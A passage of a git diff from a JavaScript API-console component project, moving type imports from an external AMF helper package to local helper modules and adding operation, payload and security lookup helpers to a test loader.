-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth1Settings} ApiSecurityOAuth1Settings */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../helpers/api').ApiSecurityOAuth1Settings} ApiSecurityOAuth1Settings */
+/** @typedef {import('../../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
 
 export default class OAuth1Auth extends Oauth1 {
   /**
diff --git a/src/lib/auth-ui/OAuth2Auth.js b/src/lib/auth-ui/OAuth2Auth.js
index d935c8a..15f9570 100644
--- a/src/lib/auth-ui/OAuth2Auth.js
+++ b/src/lib/auth-ui/OAuth2Auth.js
@@ -2,8 +2,8 @@
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-html';
-import { ns } from '@api-components/amf-helper-mixin';
 import Oauth2, { oauth2GrantTypes } from '@advanced-rest-client/authorization/src/lib/ui/OAuth2.js'
+import { ns } from '../../helpers/Namespace.js';
 import * as InputCache from '../InputCache.js';
 import { AmfInputParser } from '../AmfInputParser.js';
 import { Oauth2RamlCustomData } from '../Oauth2RamlCustomData.js';
@@ -15,19 +15,19 @@ const gtValue = Symbol("gtValue");
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScheme} ApiSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiObjectNode} ApiObjectNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayNode} ApiArrayNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityScope} ApiSecurityScope */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDataNodeUnion} ApiDataNodeUnion */
+/** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('../../helpers/api').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */
+/** @typedef {import('../../helpers/api').ApiSecurityOAuth2Flow} ApiSecurityOAuth2Flow */
+/** @typedef {import('../../helpers/api').ApiCustomDomainProperty} ApiCustomDomainProperty */
+/** @typedef {import('../../helpers/api').ApiObjectNode} ApiObjectNode */
+/** @typedef {import('../../helpers/api').ApiArrayNode} ApiArrayNode */
+/** @typedef {import('../../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../../helpers/api').ApiSecurityScope} ApiSecurityScope */
+/** @typedef {import('../../helpers/api').ApiDataNodeUnion} ApiDataNodeUnion */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2CustomParameter} OAuth2CustomParameter */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.Oauth2GrantType} Oauth2GrantType */
diff --git a/src/lib/auth-ui/PassThroughAuth.js b/src/lib/auth-ui/PassThroughAuth.js
index 22dc576..3401184 100644
--- a/src/lib/auth-ui/PassThroughAuth.js
+++ b/src/lib/auth-ui/PassThroughAuth.js
@@ -1,15 +1,15 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-html';
-import { ns } from '@api-components/amf-helper-mixin';
 import '@advanced-rest-client/highlight/arc-marked.js';
+import { ns } from '../../helpers/Namespace.js';
 import ApiUiBase from './ApiUiBase.js';
 import * as InputCache from '../InputCache.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
+/** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.PassThroughAuthorization} PassThroughAuthorization */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
diff --git a/src/store/AmfGraphStore.d.ts b/src/store/AmfGraphStore.d.ts
index ff1cff8..d9cc111 100644
--- a/src/store/AmfGraphStore.d.ts
+++ b/src/store/AmfGraphStore.d.ts
@@ -1,4 +1,4 @@
-import { DomainElement } from '@api-components/amf-helper-mixin';
+import { DomainElement } from '../helpers/amf';
 import { AmfStore } from './AmfStore.js';
 
 /**
diff --git a/src/store/AmfGraphStore.js b/src/store/AmfGraphStore.js
index 60d60e0..d9cc539 100644
--- a/src/store/AmfGraphStore.js
+++ b/src/store/AmfGraphStore.js
@@ -1,7 +1,7 @@
 import { v4 } from '@advanced-rest-client/uuid-generator/main.js';
 import { AmfStore } from './AmfStore.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 
 /**
  * The AMF graph store that hosts multiple instances of the AMF graph model.
diff --git a/src/store/AmfStore.js b/src/store/AmfStore.js
index 1b5c8c6..57f84f4 100644
--- a/src/store/AmfStore.js
+++ b/src/store/AmfStore.js
@@ -1,8 +1,9 @@
-import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin';
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
+import { AmfSerializer } from '../helpers/AmfSerializer.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */
+/** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
 
 /**
  * The store that provides an API to read data from the AMF graph model.
diff --git a/src/types.d.ts b/src/types.d.ts
index 0b5a1de..ef6d0f8 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -1,5 +1,5 @@
 import { HTTPRequest, RequestAuthorization } from '@advanced-rest-client/arc-types/src/request/ArcRequest';
-import { ApiParameter, ApiShapeUnion, ApiSecurityRequirement, ApiServer, ApiEndPoint } from '@api-components/amf-helper-mixin';
+import { ApiParameter, ApiShapeUnion, ApiSecurityRequirement, ApiServer, ApiEndPoint } from './helpers/api';
 import { default as XhrSimpleRequestTransportElement } from './elements/XhrSimpleRequestTransportElement';
 
 export declare interface ApiConsoleRequest extends HTTPRequest {
diff --git a/test/AmfLoader.js b/test/AmfLoader.js
index 481f88c..b5e2b89 100644
--- a/test/AmfLoader.js
+++ b/test/AmfLoader.js
@@ -1,25 +1,26 @@
 /* eslint-disable no-continue */
 /* eslint-disable no-param-reassign */
-import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin';
+import { AmfHelperMixin } from '../src/helpers/AmfHelperMixin.js';
+import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */
-/** @typedef {import('@api-components/amf-helper-mixin').SecurityRequirement} SecurityRequirement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
-/** @typedef {import('@api-components/amf-helper-mixin').Shape} Shape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */
-/** @typedef {import('@api-components/amf-helper-mixin').WebApi} WebApi */
-/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */
-/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */
-/** @typedef {import('@api-components/amf-helper-mixin').Server} Server */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
+/** @typedef {import('../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../src/helpers/amf').EndPoint} EndPoint */
+/** @typedef {import('../src/helpers/amf').Operation} Operation */
+/** @typedef {import('../src/helpers/amf').Payload} Payload */
+/** @typedef {import('../src/helpers/amf').SecurityRequirement} SecurityRequirement */
+/** @typedef {import('../src/helpers/amf').Shape} Shape */
+/** @typedef {import('../src/helpers/amf').CreativeWork} CreativeWork */
+/** @typedef {import('../src/helpers/amf').WebApi} WebApi */
+/** @typedef {import('../src/helpers/amf').Response} Response */
+/** @typedef {import('../src/helpers/amf').Request} Request */
+/** @typedef {import('../src/helpers/amf').Server} Server */
+/** @typedef {import('../src/helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../src/helpers/api').ApiOperation} ApiOperation */
+/** @typedef {import('../src/helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../src/helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../src/helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../src/helpers/api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../src/helpers/api').ApiServer} ApiServer */
 
 /**
  * @typedef EndpointOperation
@@ -119,6 +120,27 @@ export class AmfLoader extends AmfHelperMixin(Object) {
     };
   }
 
+  /**
+   * @param {AmfDocument} model
+   * @param {string} path
+   * @param {string} operation
+   * @return {Request}
+   */
+  lookupExpects(model, path, operation) {
+    const op = this.lookupOperation(model, path, operation);
+    if (!op) {
+      throw new Error(`Unknown operation for path ${path} and method ${operation}`);
+    }
+    let expects = op[this._getAmfKey(this.ns.aml.vocabularies.apiContract.expects)];
+    if (!expects) {
+      throw new Error(`Operation has no "expects" value.`);
+    }
+    if (Array.isArray(expects)) {
+      [expects] = expects;
+    }
+    return expects;
+  }
+
   /**
    * @param {AmfDocument} model
    * @param {string} endpoint
@@ -126,8 +148,7 @@ export class AmfLoader extends AmfHelperMixin(Object) {
    * @return {Payload[]}
    */
   lookupPayloads(model, endpoint, operation) {
-    const op = this.lookupOperation(model, endpoint, operation);
-    const expects = this._computeExpects(op);
+    const expects = this.lookupExpects(model, endpoint, operation);
     let payloads = this._computePayload(expects);
     if (payloads && !Array.isArray(payloads)) {
       payloads = [payloads];
@@ -388,7 +409,7 @@ export class AmfLoader extends AmfHelperMixin(Object) {
    */
    lookupServers(model) {
     this.amf = model;
-    const webApi = this._computeWebApi(model);
+    const webApi = this._computeApi(model);
     const key = this._getAmfKey(this.ns.aml.vocabularies.apiContract.server);
     let result = webApi[key];
     if (result && !Array.isArray(result)) {
@@ -409,4 +430,93 @@ export class AmfLoader extends AmfHelperMixin(Object) {
     }
     return undefined;
   }
+
+  /**
+   * @param {Object} model
+   * @param {string} path
+   * @param {string} operation
+   * @return {Response[]}
+   */
+  lookupReturns(model, path, operation) {
+    const op = this.lookupOperation(model, path, operation);
+    if (!op) {
+      throw new Error(`Unknown operation for path ${path} and method ${operation}`);
+    }
+    let returns = op[this._getAmfKey(this.ns.aml.vocabularies.apiContract.returns)];
+    if (!returns) {
+      throw new Error(`Operation has no "returns" value.`);
+    }
+    if (!Array.isArray(returns)) {
+      returns = [returns];
+    }
+    return returns;
+  }
+
+  /**
+   * Lookups a shape object from the declares array
+   * @param {AmfDocument} model 
+   * @param {string} name 
+   * @returns {Shape}
+   */
+  lookupDeclaredShape(model, name) {
+    this.amf = model;
+    const items = this._computeDeclares(model);
+    return items.find((item) => {
+      const typed = /** @type Shape */ (item);
+      const objectName = this._getValue(typed, this.ns.w3.shacl.name);
+      return objectName === name;
+    });
+  }
+
+  /**
+   * @param {AmfDocument} model
+   * @param {string} path
+   * @param {string} operation
+   * @return {SecurityRequirement[]}
+   */
+  lookupOperationSecurity(model, path, operation) {
+    const op = this.lookupOperation(model, path, operation);
+    if (!op) {
+      throw new Error(`Unknown operation for path ${path} and method ${operation}`);
+    }
+    let security = op[this._getAmfKey(this.ns.aml.vocabularies.security.security)];
+    if (!security) {
+      throw new Error(`Operation has no "security" value.`);
+    }
+    if (!Array.isArray(security)) {
+      security = [security];
+    }
+    return security;
+  }
+
+  /**
+   * @param {AmfDocument} model
+   * @param {string} path
+   * @param {string} operation
+   * @return {Payload[]}
+   */
+  lookupRequestPayloads(model, path, operation) {
+    const request = this.lookupExpects(model, path, operation);
+    const payload = this._computePayload(request);
+    if (!payload || !payload.length) {
+      throw new Error(`Operation ${operation} of endpoint ${payload} has no request payload.`);
+    }
+    return payload;
+  }
+
+  /**
+   * @param {AmfDocument} model
+   * @param {string} path
+   * @param {string} operation
+   * @param {string} mime
+   * @return {Payload}
+   */
+  lookupRequestPayload(model, path, operation, mime) {
+    const payloads = this.lookupRequestPayloads(model, path, operation);
+    const payload = payloads.find(i => this._getValue(i, this.ns.aml.vocabularies.core.mediaType) === mime);
+    if (!payload) {
+      throw new Error(`Operation ${operation} of endpoint ${payload} has no request payload for ${mime}.`);
+    }
+    return payload;
+  }
 }
diff --git a/test/authorization/ApiAuthorizationEditorElement.oas.test.js b/test/authorization/ApiAuthorizationEditorElement.oas.test.js
index 73be26e..f389386 100644
--- a/test/authorization/ApiAuthorizationEditorElement.oas.test.js
+++ b/test/authorization/ApiAuthorizationEditorElement.oas.test.js
@@ -5,13 +5,13 @@ import '../../api-authorization-editor.js';
 import { methodsValue } from '../../src/elements/ApiAuthorizationEditorElement.js';
 
 /** @typedef {import('../../index').ApiAuthorizationEditorElement} ApiAuthorizationEditorElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.BasicAuthorization} BasicAuthorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth1Authorization} OAuth1Authorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.DigestAuthorization} DigestAuthorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.BearerAuthorization} BearerAuthorization */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
 
 describe('ApiAuthorizationEditorElement OAS tests', () => {
diff --git a/test/authorization/ApiAuthorizationEditorElement.raml.test.js b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
index 623e304..10f131e 100644
--- a/test/authorization/ApiAuthorizationEditorElement.raml.test.js
+++ b/test/authorization/ApiAuthorizationEditorElement.raml.test.js
@@ -5,7 +5,8 @@ import '../../api-authorization-editor.js';
 import { methodsValue } from '../../src/elements/ApiAuthorizationEditorElement.js';
 
 /** @typedef {import('../../index').ApiAuthorizationEditorElement} ApiAuthorizationEditorElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.BasicAuthorization} BasicAuthorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth1Authorization} OAuth1Authorization */
@@ -13,7 +14,6 @@ import { methodsValue } from '../../src/elements/ApiAuthorizationEditorElement.j
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.BearerAuthorization} BearerAuthorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.PassThroughAuthorization} PassThroughAuthorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
 
 describe('ApiAuthorizationEditorElement', () => {
diff --git a/test/authorization/ApiKeyMethod.test.js b/test/authorization/ApiKeyMethod.test.js
index 02e637f..8381fea 100644
--- a/test/authorization/ApiKeyMethod.test.js
+++ b/test/authorization/ApiKeyMethod.test.js
@@ -4,8 +4,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 
 describe('Api Key authorization', () => {
   /**
diff --git a/test/authorization/CustomMethod.test.js b/test/authorization/CustomMethod.test.js
index c290fd9..0bf422a 100644
--- a/test/authorization/CustomMethod.test.js
+++ b/test/authorization/CustomMethod.test.js
@@ -4,8 +4,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
 
 describe('RAML custom scheme', () => {
diff --git a/test/authorization/OAuth1Method.test.js b/test/authorization/OAuth1Method.test.js
index 1526f50..ed5c710 100644
--- a/test/authorization/OAuth1Method.test.js
+++ b/test/authorization/OAuth1Method.test.js
@@ -4,8 +4,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
 
 describe("OAuth 1", () => {
diff --git a/test/authorization/OAuth2-21143.test.js b/test/authorization/OAuth2-21143.test.js
index 8d49a48..a475e06 100644
--- a/test/authorization/OAuth2-21143.test.js
+++ b/test/authorization/OAuth2-21143.test.js
@@ -3,8 +3,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 
 describe('OAuth 2', () => {
   /**
diff --git a/test/authorization/OAuth2-flows.test.js b/test/authorization/OAuth2-flows.test.js
index 1c2d2ba..0aa4953 100644
--- a/test/authorization/OAuth2-flows.test.js
+++ b/test/authorization/OAuth2-flows.test.js
@@ -3,8 +3,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 
 describe('OAuth 2', () => {
   /**
diff --git a/test/authorization/OAuth2-pkce.test.js b/test/authorization/OAuth2-pkce.test.js
index ca116ab..385557b 100644
--- a/test/authorization/OAuth2-pkce.test.js
+++ b/test/authorization/OAuth2-pkce.test.js
@@ -3,8 +3,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 
 describe('OAuth 2', () => {
   /**
diff --git a/test/authorization/OAuth2Method.test.js b/test/authorization/OAuth2Method.test.js
index fc268f9..23fde42 100644
--- a/test/authorization/OAuth2Method.test.js
+++ b/test/authorization/OAuth2Method.test.js
@@ -4,8 +4,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
 
 describe('OAuth 2', () => {
diff --git a/test/authorization/PassThroughMethod.test.js b/test/authorization/PassThroughMethod.test.js
index 5e7fea3..cc41b48 100644
--- a/test/authorization/PassThroughMethod.test.js
+++ b/test/authorization/PassThroughMethod.test.js
@@ -4,8 +4,8 @@ import { AmfLoader } from "../AmfLoader.js";
 import '../../api-authorization-method.js';
 
 /** @typedef {import('../../').ApiAuthorizationMethodElement} ApiAuthorizationMethodElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('@anypoint-web-components/anypoint-input').AnypointInput} AnypointInput */
 
 describe('Pass Through authorization', () => {
diff --git a/test/elements/ApiAnnotationDocumentElement.test.js b/test/elements/ApiAnnotationDocumentElement.test.js
index 085e0e0..460f36d 100644
--- a/test/elements/ApiAnnotationDocumentElement.test.js
+++ b/test/elements/ApiAnnotationDocumentElement.test.js
@@ -3,8 +3,8 @@ import { AmfLoader } from '../AmfLoader.js';
 import '../../api-annotation-document.js';
 
 /** @typedef {import('../../').ApiAnnotationDocumentElement} ApiAnnotationDocumentElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
 
 describe('ApiAnnotationDocumentElement', () => {
   const loader = new AmfLoader();
diff --git a/test/elements/ApiDocumentationDocumentElement.test.js b/test/elements/ApiDocumentationDocumentElement.test.js
index 06c99bc..ece2f33 100644
--- a/test/elements/ApiDocumentationDocumentElement.test.js
+++ b/test/elements/ApiDocumentationDocumentElement.test.js
@@ -4,9 +4,9 @@ import { AmfLoader } from '../AmfLoader.js';
 import '../../api-documentation-document.js';
 
 /** @typedef {import('../../').ApiDocumentationDocumentElement} ApiDocumentationDocumentElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').CreativeWork} CreativeWork */
+/** @typedef {import('../../src/helpers/api').ApiDocumentation} ApiDocumentation */
 
 describe('ApiDocumentationDocumentElement', () => {
   const loader = new AmfLoader();
diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js
index 5e9b931..956d827 100644
--- a/test/elements/ApiOperationDocumentElement.test.js
+++ b/test/elements/ApiOperationDocumentElement.test.js
@@ -7,9 +7,9 @@ import '../../api-request-document.js';
 /** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */
 /** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */
 /** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Operation} Operation */
 /** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */
 
 describe('ApiOperationDocumentElement', () => {
diff --git a/test/elements/ApiRequestDocumentElement.test.js b/test/elements/ApiRequestDocumentElement.test.js
index cd011cf..ee1a1f2 100644
--- a/test/elements/ApiRequestDocumentElement.test.js
+++ b/test/elements/ApiRequestDocumentElement.test.js
@@ -3,9 +3,9 @@ import { AmfLoader } from '../AmfLoader.js';
 import '../../api-request-document.js';
 
 /** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Request} Request */
 
 describe('ApiRequestDocumentElement', () => {
   const loader = new AmfLoader();
diff --git a/test/elements/ApiResourceDocumentationElement.test.js b/test/elements/ApiResourceDocumentationElement.test.js
index ac356b0..47a5994 100644
--- a/test/elements/ApiResourceDocumentationElement.test.js
+++ b/test/elements/ApiResourceDocumentationElement.test.js
@@ -5,9 +5,9 @@ import { loadMonaco } from '../MonacoSetup.js';
 import '../../api-resource-document.js';
 
 /** @typedef {import('../../').ApiResourceDocumentElement} ApiResourceDocumentElement */
-/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').Response} Response */
+/** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/helpers/amf').Response} Response */
 
 describe('ApiResourceDocumentElement', () => {
   const loader = new AmfLoader();
